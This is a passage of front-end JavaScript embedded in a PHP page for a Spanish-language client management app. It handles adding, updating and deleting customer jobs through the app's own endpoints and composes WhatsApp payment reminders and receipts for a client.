animate__fadeIn'; newRow.innerHTML = ` <button type="button" class="btn-remove-row btn btn-sm btn-danger rounded-circle position-absolute" style="top: -10px; right: -10px; width: 28px; height: 28px; display: flex; align-items: center; justify-content: center; border: 2px solid white; z-index: 10;"> <i class="bi bi-x"></i> </button> <div class="row g-3"> <div class="col-md-8"> <label class="form-label small fw-bold">Descripción del Trabajo <span class="text-danger">*</span></label> <textarea class="form-control" name="descripciones[]" rows="2" placeholder="Ej: Nueva tarea para el cliente" required style="border-radius: 12px; border: 1.5px solid #e5e7eb;"></textarea> </div> <div class="col-md-4"> <label class="form-label small fw-bold">Prioridad</label> <select class="form-select" name="prioridades[]" style="border-radius: 12px; border: 1.5px solid #e5e7eb; height: 50px;"> <option value="baja">🟢 Baja</option> <option value="media" selected>🟡 Media</option> <option value="alta">🔴 Alta</option> </select> </div> </div> `; jobsListContainer.appendChild(newRow); newRow.querySelector('.btn-remove-row').addEventListener('click', function() { newRow.classList.remove('animate__fadeIn'); newRow.classList.add('animate__fadeOut'); setTimeout(() => newRow.remove(), 500); }); }); } const formAddJob = document.getElementById('formAddJob'); if (formAddJob) { formAddJob.addEventListener('submit', function(e) { e.preventDefault(); const formData = new FormData(this); const btn = this.querySelector('button[type="submit"]'); const originalText = btn.innerHTML; btn.disabled = true; btn.innerHTML = '<span class="spinner-border spinner-border-sm me-2"></span> Guardando...'; fetch('<?= BASE_URL ?>/clientes/addTrabajo/<?= $cliente['id'] ?>', { method: 'POST', body: formData, headers: { 'X-Requested-With': 'XMLHttpRequest' } }) .then(res => res.json()) .then(data => { if (data.success) { location.reload(); } else { alert('Error: ' + data.error); btn.disabled = false; btn.innerHTML = originalText; } }) .catch(err => { console.error(err); btn.disabled = false; btn.innerHTML = originalText; }); }); } // Cambiar estado del trabajo document.querySelectorAll('.job-status-select').forEach(select => { select.addEventListener('change', function() { const jobId = this.dataset.id; const status = this.value; const formData = new FormData(); formData.append('estado', status); const jobItem = document.getElementById(`job-${jobId}`); jobItem.style.opacity = '0.6'; fetch(`<?= BASE_URL ?>/clientes/updateTrabajoEstado/${jobId}`, { method: 'POST', body: formData, headers: { 'X-Requested-With': 'XMLHttpRequest' } }) .then(res => res.json()) .then(data => { if (data.success) { location.reload(); } else { jobItem.style.opacity = '1'; } }) .catch(err => { console.error(err); jobItem.style.opacity = '1'; }); }); }); // Eliminar trabajo document.querySelectorAll('.delete-job').forEach(btn => { btn.addEventListener('click', function(e) { e.preventDefault(); if (!confirm('¿Seguro que deseas eliminar este trabajo?')) return; const jobId = this.dataset.id; const jobItem = document.getElementById(`job-${jobId}`); fetch(`<?= BASE_URL ?>/clientes/deleteTrabajo/${jobId}`, { method: 'POST', headers: { 'X-Requested-With': 'XMLHttpRequest' } }) .then(res => res.json()) .then(data => { if (data.success) { jobItem.classList.add('animate__animated', 'animate__fadeOutLeft'); setTimeout(() => jobItem.remove(), 500); } }) .catch(err => console.error(err)); }); }); // --- Gestión de Mensajes WhatsApp --- const areaMensaje = document.getElementById('mensajeGeneradoArea'); const textoMensaje = document.getElementById('textoMensajeGenerado'); const badgeTipo = document.getElementById('tipoMensajeBadge'); const btnWhatsApp = document.getElementById('btnEnviarWhatsApp'); const btnCopiar = document.getElementById('btnCopiarMensaje'); const telefono = '<?= preg_replace("/[^0-9]/", "", $cliente['telefono'] ?? "") ?>'; const nombreCli = '<?= htmlspecialchars($cliente['nombre'], ENT_QUOTES) ?>'; const apellidoCli = '<?= htmlspecialchars($cliente['apellido'] ?? "", ENT_QUOTES) ?>'; // Función para mostrar el área de mensaje function mostrarMensaje(texto, tipo) { textoMensaje.textContent = texto; areaMensaje.style.display = 'block'; badgeTipo.textContent = tipo === 'recordatorio' ? 'RECORDATORIO' : 'COMPROBANTE'; badgeTipo.className = `badge rounded-pill ${tipo === 'recordatorio' ? 'bg-warning text-dark' : 'bg-success'}`; // Scroll suave al área areaMensaje.scrollIntoView({ behavior: 'smooth', block: 'nearest' }); } // Botón Recordatorio const btnRec = document.getElementById('btnRecordatorio'); if (btnRec) { btnRec.addEventListener('click', function() { const monto = '<?= number_format($saldoPendiente, 2) ?>'; const msg = `Hola *${nombreCli} ${apellidoCli}* 👋,\n\nTe saludamos de *Aircan*. Queremos recordarte que tienes un saldo pendiente de *$${monto}*.\n\nPor favor, ponte al día para seguir disfrutando de nuestros servicios. ¡Gracias! ⚡`; mostrarMensaje(msg, 'recordatorio'); }); } // Botón Generar Comprobante const btnComp = document.getElementById('btnGenerarComprobante'); if (btnComp) { btnComp.addEventListener('click', function() { const pagado = '<?= number_format($saldoPagado, 2) ?>'; const pendiente = '<?= number_format($saldoPendiente, 2) ?>'; const fecha = '<?= date("d/m/Y") ?>'; let msg = `✅ *Pago Recibido*\n\n`; msg += `👤 Cliente: *${nombreCli} ${apellidoCli}*\n`; msg += `💰 Monto Abonado: *$${pagado}*\n`; msg += `📉 Restante: *${pendiente > 0 ? '$' + pendiente : '0 (Pagado)'}*\n`; msg += `📅 Fecha: ${fecha}\n\n`; msg += `¡Gracias por tu confianza! 🚀`; mostrarMensaje(msg, 'comprobante'); }); } // Botón Copiar if (btnCopiar) { btnCopiar.addEventListener('click', function() { navigator.clipboard.writeText(textoMensaje.textContent).then(() => { const icon = this.innerHTML; this.innerHTML = '<i class="bi bi-check"></i>'; this.classList.replace('btn-outline-secondary', 'btn-success'); setTimeout(() => { this.innerHTML = icon; this.classList.replace('btn-success', 'btn-outline-secondary'); }, 2000); }); }); } // Botón Enviar WhatsApp if (btnWhatsApp) { btnWhatsApp.addEventListener('click', function() { if (!telefono) { alert('El cliente no tiene un número de teléfono registrado.'); return; } const encodedMsg = encodeURIComponent(textoMensaje.textContent); window.open(`https://wa.me/${telefono}?text=${encodedMsg}`, '_blank'); }); } }); </script>
Coded With 💗 by
0x6ick